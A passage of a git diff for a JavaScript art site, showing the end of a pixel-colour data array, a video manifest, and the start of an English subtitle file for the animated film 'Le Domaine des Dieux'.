16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,0,0,0,0,13619151,3158064,0,0,13619151,15724527,0,1052688,15724527,0,0,16777215,0,0,0,0,13619151,12566463,16777215,0,16777215,0,0,0,16777215,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,12566463,15724527,0,0,0,0,16777215,0,0,1052688,15724527,0,0,13619151,3158064,0,0,16777215,0,0,0,0,16777215,0,16777215,0,16777215,0,0,0,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,15724527,13619151,13619151,15724527,3158064,0,0,14671839,0,0,0,14671839,0,0,0,0,15724527,16777215,15724527,0,14671839,0,0,0,14671839,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,15724527,15724527,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];return data[Math.floor(sx)+(Math.floor(sy)*256)]; }; return text; \ No newline at end of file diff --git a/files/jsart/videos/huh.mp4 b/files/jsart/videos/huh.mp4 new file mode 100644 index 0000000..84715f0 Binary files /dev/null and b/files/jsart/videos/huh.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux.auto b/files/jsart/videos/le-domaine-des-dieux.auto new file mode 100644 index 0000000..b9fef9f --- /dev/null +++ b/files/jsart/videos/le-domaine-des-dieux.auto @@ -0,0 +1 @@ +{"parts":["https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut00.mp4","https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut01.mp4","https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut02.mp4","https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut03.mp4","https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut04.mp4","https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut05.mp4","https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/cut06.mp4"],"partLengthShift":[0,853.3,1708.6,2564.7,3412.9,4267.1,5120.9],"subtitles":{"fr":"https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/le-domaine-des-dieux.fr.srt","en":"https://jsart.ponali.repl.co/videos/le-domaine-des-dieux/le-domaine-des-dieux.en.srt"},"time":5130.9,"allowTimeChange":true,"allowTimeView":true} \ No newline at end of file diff --git a/files/jsart/videos/le-domaine-des-dieux/cut00.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut00.mp4 new file mode 100644 index 0000000..794e8f8 Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut00.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/cut01.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut01.mp4 new file mode 100644 index 0000000..1e53fe3 Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut01.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/cut02.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut02.mp4 new file mode 100644 index 0000000..6d5cfbc Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut02.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/cut03.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut03.mp4 new file mode 100644 index 0000000..f7441fe Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut03.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/cut04.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut04.mp4 new file mode 100644 index 0000000..f1114da Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut04.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/cut05.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut05.mp4 new file mode 100644 index 0000000..b1aba6d Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut05.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/cut06.mp4 b/files/jsart/videos/le-domaine-des-dieux/cut06.mp4 new file mode 100644 index 0000000..ee02e70 Binary files /dev/null and b/files/jsart/videos/le-domaine-des-dieux/cut06.mp4 differ diff --git a/files/jsart/videos/le-domaine-des-dieux/le-domaine-des-dieux.en.srt b/files/jsart/videos/le-domaine-des-dieux/le-domaine-des-dieux.en.srt new file mode 100644 index 0000000..6b42324 --- /dev/null +++ b/files/jsart/videos/le-domaine-des-dieux/le-domaine-des-dieux.en.srt @@ -0,0 +1,3740 @@ +1 +00:00:59,253 --> 00:01:01,253 +Senators, I tell you... + +2 +00:01:01,253 --> 00:01:03,253 +Those who have escaped +the claws of the lion, + +3 +00:01:03,253 --> 00:01:05,253 +Will be poisoned by +the snake's venom. + +4 +00:01:06,086 --> 00:01:08,586 +[blabbering] + +5 +00:01:08,586 --> 00:01:09,586 +What? + +6 +00:01:12,073 --> 00:01:13,753 +It's that... O Caesar... + +7 +00:01:13,753 --> 00:01:16,353 +What exactly do you +mean by "snake venom"? + +8 +00:01:16,359 --> 00:01:18,159 +Me, it's the lion's claws, +which I didn't understand. + +9 +00:01:18,160 --> 00:01:19,000 +Ah, me, I understood neither one, +nor the other. + +10 +00:01:19,000 --> 00:01:20,100 +lion's claws, + +11 +00:01:20,125 --> 00:01:22,191 +The invincible power of Rome, + +12 +00:01:22,264 --> 00:01:25,164 +As the snowflake +serfs closed in on-- + +13 +00:01:25,176 --> 00:01:26,196 +We had a snowflake? + +14 +00:01:26,196 --> 00:01:26,996 +Hush!!! + +15 +00:01:27,079 --> 00:01:29,679 +As the snowflake serfs closed + +16 +00:01:29,966 --> 00:01:31,973 +closed on all continents, except + +17 +00:01:32,017 --> 00:01:33,457 +Here in Armorica. + +18 +00:01:34,159 --> 00:01:40,159 +Where these irreducible Gauls continue to +laugh at the beasts of the imperial eagle! + +19 +00:01:41,034 --> 00:01:43,106 +The imperial eagle, is +that a problem for anyone? + +20 +00:01:45,068 --> 00:01:49,292 +Thus, these barbarians refuse +Rome, so Rome will go to them! + +21 +00:01:52,926 --> 00:01:54,393 +Uhhh, that's it, is it now? + +22 +00:01:54,841 --> 00:01:56,521 +Yes, it is now. + +23 +00:01:58,542 --> 00:02:02,454 +The serpent's venom there it is. Their +forests will leave room for our buildings. + +24 +00:02:03,177 --> 00:02:07,273 +Surrounding their village, they +will have to adapt or disappear. + +25 +00:02:08,899 --> 00:02:10,019 +[He is laughing.] + +26 +00:02:10,731 --> 00:02:12,883 +I entrusted the construction +of our magnificent + +27 +00:02:12,883 --> 00:02:14,817 +city to the young +architect Anglégus. + +28 +00:02:15,239 --> 00:02:19,783 +He has already designed many +buildings, many of which do not collapse. + +29 +00:02:22,357 --> 00:02:25,749 +Well done, Anglegus. I +love it, beautiful little model. + +30 +00:02:27,150 --> 00:02:29,483 +What are you going to call this city? + +31 +00:02:29,489 --> 00:02:31,169 +At first, I thought-- +- No, cancel that. + +32 +00:02:33,398 --> 00:02:35,406 +Do you have a proposal, +Senator Prospectus? + +33 +00:02:35,840 --> 00:02:39,640 +We need a name that would indicate Rome... + +34 +00:02:39,897 --> 00:02:42,097 +But that is not really Rome. + +35 +00:02:43,002 --> 00:02:44,002 +Rume. + +36 +00:02:44,705 --> 00:02:45,705 +Rume? + +37 +00:02:45,768 --> 00:02:48,992 +Bah, it does not really invoke Rome? +- I'm afraid we're confusing it with- + +38 +00:02:49,119 --> 00:02:50,719 +What do you think... + +39 +00:02:51,386 --> 00:02:53,066 +From "Domain of the Gods"? + +40 +00:02:53,235 --> 00:02:54,915 +The domain of the gods? + +41 +00:02:57,950 --> 00:02:59,630 +I am not sure... + +42 +00:03:00,774 --> 00:03:02,974 +Ah yes, still, it's not bad. + +43 +00:05:17,680 --> 00:05:18,680 +Hi! + +44 +00:05:19,945 --> 00:05:21,145 +This one, Obelix, is for you. + +45 +00:05:21,307 --> 00:05:22,307 +Of course, I saw him first. + +46 +00:05:23,320 --> 00:05:24,320 +Oh yeah? + +47 +00:05:25,361 --> 00:05:26,561 +And there, he is afraid of me, not you! + +48 +00:05:26,922 --> 00:05:28,722 +How do you know? Did you speak it? + +49 +00:05:28,744 --> 00:05:31,045 +It's always me who +sees the boars first! + +50 +00:05:31,045 --> 00:05:33,462 +Or maybe I'll shoot you down +and get it without you knowing? + +51 +00:05:33,721 --> 00:05:35,855 +OH YEAH HH!? MISTER +ASTERIX IS ESSENTIAL?? + +52 +00:05:36,606 --> 00:05:37,312 +Can you please stop?? + +53 +00:05:37,312 --> 00:05:38,821 +For the boar? I'm +the fastest, you know. + +54 +00:05:39,139 --> 00:05:40,352 +I'm sure you mean +when you eat it. + +55 +00:05:40,449 --> 00:05:41,144 +IT'S MINE! + +56 +00:05:41,469 --> 00:05:41,850 +NO, MINE! + +57 +00:05:42,008 --> 00:05:44,242 +[they argue.] + +58 +00:05:46,942 --> 00:05:47,587 +IT'S MINE! + +59 +00:05:47,587 --> 00:05:49,478 +[He is laughing.] + +60 +00:06:00,442 --> 00:06:01,477 +OBELIX! + +61 +00:06:02,154 --> 00:06:03,696 +MY BOAR! + +62 +00:06:05,042 --> 00:06:06,855 +GIVE IT TO ME! + +63 +00:06:07,952 --> 00:06:09,285 +THIS IS NOT YOUR BOAR! + +64 +00:06:17,873 --> 00:06:19,280 +[He is laughing.] + +65 +00:06:20,059 --> 00:06:20,546 +o h ! + +66 +00:06:29,797 --> 00:06:32,805 +What did they put there, +by Toutatis? + +67 +00:07:00,941 --> 00:07:04,859 +One, two, three, four... + +68 +00:07:05,040 --> 00:07:07,810 +125, 126, 127... + +69 +00:07:08,596 --> 00:07:10,086 +...and one hundred and twenty-eight! + +70 +00:07:10,296 --> 00:07:11,926 +This is the first tree to cut down! + +71 +00:07:20,312 --> 00:07:24,344 +Don't touch the trees, Romans. +Idefix hates that. + +72 +00:07:24,607 --> 00:07:25,727 +Come on Idefix! + +73 +00:07:29,251 --> 00:07:34,352 +Get out here immediately! +This site is closed to the public! + +74 +00:07:49,620 --> 00:07:54,548 +I like it when unarmored Romans +fall. It makes a funny noise. + +75 +00:08:07,036 --> 00:08:10,244 +O Arbraracourcix our leader! + +76 +00:08:11,029 --> 00:08:13,547 +He is in a meeting. +I can take a message? + +77 +00:08:16,158 --> 00:08:17,332 +Come on, what do you want? + +78 +00:08:18,881 --> 00:08:19,977 +A story of not fresh fish... + +79 +00:08:20,633 --> 00:08:21,758 +HOW IS IT NOT FRESH!?!? + +80 +00:08:22,427 --> 00:08:24,863 +I WAS ANSWERING A QUESTION!!! + +81 +00:08:26,005 --> 00:08:27,685 +We ran into some Romans +in the forest, with strings. + +82 +00:08:29,917 --> 00:08:31,665 +What kind of strings? + +83 +00:08:31,978 --> 00:08:33,624 +The kind where we trip over each other. + +84 +00:08:34,224 --> 00:08:36,683 +This is a construction site +prohibited to the public. + +85 +00:08:39,687 --> 00:08:43,396 +Well, it's just strings, +so it's not really bad! + +86 +00:08:45,494 --> 00:08:48,833 +Go watch this site +anyway, just in case. + +87 +00:08:49,942 --> 00:08:51,057 +HEY, WE WERE MAKING A REPORT! + +88 +00:08:51,329 --> 00:08:52,316 +IT'S OVER, YOUR REPORT! + +89 +00:09:04,203 --> 00:09:05,729 +It is intolerable +that mustachioed + +90 +00:09:05,753 --> 00:09:07,211 +barbarians come to +compromise Caesar's plans! + +91 +00:09:07,969 --> 00:09:11,971 +I told you, the Gauls don't +like us walking in their forest! + +92 +00:09:11,971 --> 00:09:12,595 +THEIR FOREST!? + +93 +00:09:12,622 --> 00:09:14,785 +But, stop moving!! + +94 +00:09:17,145 --> 00:09:19,186 +They believe they are at home, that's all. + +95 +00:09:21,774 --> 00:09:23,163 +So we're going to Gauloiser their forest! + +96 +00:09:23,643 --> 00:09:25,219 +It would have to be de-Gauloiser first. + +97 +00:09:25,717 --> 00:09:27,883 +I remind you that Caesar is +counting on you. And- + +98 +00:09:28,237 --> 00:09:29,523 +Ave centurion. + +99 +00:09:31,741 --> 00:09:34,176 +The slaves complain of +an activity: They are bored. + +100 +00:09:34,328 --> 00:09:38,627 +Operations are suspended +due to securing the site. + +101 +00:09:41,487 --> 00:09:43,887 +I did not understand anything. +- It doesn't matter. + +102 +00:09:44,305 --> 00:09:47,760 +Anglegus, I repeat to you, to avoid +the Gauls, you have to work at night! + +103 +00:09:47,871 --> 00:09:48,392 +[He is laughing.] + +104 +00:09:48,551 --> 00:09:53,351 +A night job! It makes no sense. +- Just like your bandage. + +105 +00:10:02,427 --> 00:10:06,107 +Centurion, forgive me, but my +collaborators and I are undecided. + +106 +00:10:06,107 --> 00:10:07,047 +Should we pull? + +107 +00:10:07,450 --> 00:10:10,471 +How many times do I have to tell you, +you're waiting for my signal! + +108 +00:10:10,699 --> 00:10:12,403 +What's your signal again? + +109 +00:10:12,580 --> 00:10:15,408 +For the 30th time is +when I raise my arm! + +110 +00:10:15,982 --> 00:10:16,982 +Absolutely. + +111 +00:10:21,129 --> 00:10:23,749 +[the frog croaks] + +112 +00:10:25,673 --> 00:10:26,897 +But what are we waiting for, by Jupiter? + +113 +00:10:27,054 --> 00:10:28,052 +Hush!!! + +114 +00:10:28,052 --> 00:10:29,823 +[ fearful whisper ] But what +are we waiting for, by Jupiter? + +115 +00:10:29,984 --> 00:10:32,072 +I await the report of my scouts. + +116 +00:10:32,222 --> 00:10:36,802 +Centurion! We think you're +messing around with the architect. + +117 +00:10:37,468 --> 00:10:39,148 +GO BACK TO YOUR PLACE!! + +118 +00:10:51,599 --> 00:10:52,640 +But what are you doing!? + +119 +00:10:52,917 --> 00:10:53,545 +You raised your arm! + +120 +00:10:53,545 --> 00:10:54,959 +But not at all! +- Oh yes! + +121 +00:10:54,959 --> 00:10:57,007 +So, clack, I gave the signal. + +122 +00:10:58,005 --> 00:10:59,746 +Ave centurion. The scouts in relation. + +123 +00:10:59,746 --> 00:11:01,026 +But where were you? + +124 +00:11:01,026 --> 00:11:02,026 +Well there! +- There? + +125 +00:11:02,354 --> 00:11:03,356 +And you, what do you light up? + +126 +00:11:03,356 --> 00:11:05,196 +We prefer not to stray too +far from here because of... + +127 +00:11:05,196 --> 00:11:05,612 +[???] + +128 +00:11:05,964 --> 00:11:06,704 +I hear nothing, because of what? + +129 +00:11:07,075 --> 00:11:08,115 +GAULS!! + +130 +00:11:09,041 --> 00:11:11,719 +Gauls!?!? Sound the retreat! + +131 +00:11:16,667 --> 00:11:17,787 +Ave centurion. + +132 +00:11:19,511 --> 00:11:22,111 +COME BACK IMMEDIATELY, YOU MORNINGS! + +133 +00:11:23,728 --> 00:11:24,728 +Oh well... + +134 +00:11:37,709 --> 00:11:38,451 +Woof woof! + +135 +00:11:39,536 --> 00:11:40,121 +[Obelix laughs.] + +136 +00:11:40,121 --> 00:11:41,121 +Idefix!?!? + +137 +00:11:43,868 --> 00:11:45,810 +What's going on again? + +138 +00:11:48,359 --> 00:11:49,575 +A blow from the Romans... + +139 +00:11:57,100 --> 00:11:59,966 +Here. Everything is in order. + +140 +00:12:12,506 --> 00:12:15,114 +For those who have not followed, I repeat. + +141 +00:12:15,114 --> 00:12:15,633 +YOU LISTEN! + +142 +00:12:15,992 --> 00:12:18,021 +If you think we'll settle +for one tree a night, + +143 +00:12:18,021 --> 00:12:19,589 +You poke your finger +in the eye to the Cubitus* + +144 +00:12:19,589 --> 00:12:21,244 +Here! +- Shut up, Cubitus. + +145 +00:12:21,695 --> 00:12:24,759 +Come on. Where is the +tree we uprooted yesterday? + +146 +00:12:24,916 --> 00:12:26,941 +So, I don't have very, +very good news... + +147 +00:12:26,941 --> 00:12:28,252 +It is no longer ripped off. + +148 +00:12:29,536 --> 00:12:30,845 +The tree... it's replanted. + +149 +00:12:31,002 --> 00:12:33,161 +...Figuratively? + +150 +00:12:33,161 --> 00:12:36,845 +No, literally, look: + +151 +00:12:39,223 --> 00:12:40,174 +I CAN'T BELIEVE IT + +152 +00:12:40,174 --> 00:12:40,957 +I CAN'T BELIEVE IT (x2) + +153 +00:12:41,108 --> 00:12:41,907 +I CAN'T BELIEVE IT (x3) + +154 +00:12:41,907 --> 00:12:45,070 +Centurion! The little architect +starts making noise again! + +155 +00:12:45,070 --> 00:12:47,336 +Silence! That's enough, we're going home. + +156 +00:12:47,336 --> 00:12:48,686 +You can't fight such a miracle. + +157 +00:12:48,686 --> 00:12:50,790 +No way! We're going to uproot that tree! +- Again? + +158 +00:12:50,790 --> 00:12:53,708 +Yes again! We're going to bring it back +to camp to make sure no one replants it! + +159 +00:12:53,708 --> 00:12:58,324 +We can do the uprooting of +the trees, but the transport... + +160 +00:12:58,848 --> 